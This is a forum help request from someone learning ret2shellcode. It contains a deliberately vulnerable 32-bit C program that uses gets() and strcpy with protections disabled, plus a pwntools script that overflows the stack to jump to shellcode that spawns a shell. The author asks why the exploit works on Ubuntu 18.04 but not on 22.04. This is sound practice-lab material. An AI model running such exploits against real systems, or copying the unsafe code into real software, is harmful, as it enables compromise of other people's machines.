Help ! why ret2shellcode fail in ubuntu 22.04 but success in ubuntu 18.04.5
by - Thursday, January 1, 1970 at 12:00 AM
I am learing ret2shellcode, and try it in ubuntu 22.04 and kali 2022.2, and fail to get shell, but in virtualbox, I host a ubuntu 18.04.5, and same pwn script , it success, so could anyone point where is wrong? The C code is here:[code]#include #include char buf[0X100];void vuln(){ char s[0x100]; gets(s); puts(s); strcpy(buf, s);}int main(int argc, char *argv[]){ vuln(); return 0;}[/code]and the compiler command is here:[code]gcc -m32 -fno-stack-protector -z execstack -no-pie main.c -o main[/code]and pwnscript here : [code]from pwn import *context(arch="i386", os="linux")code = shellcraft.sh()shellcode = asm(code)io = process("./main")l = 0x108 - len(shellcode)location = 0x0804C040 # need to update, use ida to find the address of shellcodepayload = shellcode + l * b"a" + 4 * b"b" + p32(location)io.sendline(payload)io.interactive()[/code]ubuntu 22.04 virtualbox image download from here : [url=https://www.linuxvmimages.com/images/ubuntu-2204/]https://www.linuxvmimages.com/images/ubuntu-2204/[/url]ubuntu 18.04.5 virtualbox image download from here: [url=https://www.linuxvmimages.com/images/ubuntu-1804/]https://www.linuxvmimages.com/images/ubuntu-1804/[/url]And I found that the matter is not relative with diffirent verison of gcc , python3 and pwntools.So could anyone help me? Thx
Reply


 Users viewing this thread: Help ! why ret2shellcode fail in ubuntu 22.04 but success in ubuntu 18.04.5: No users currently viewing.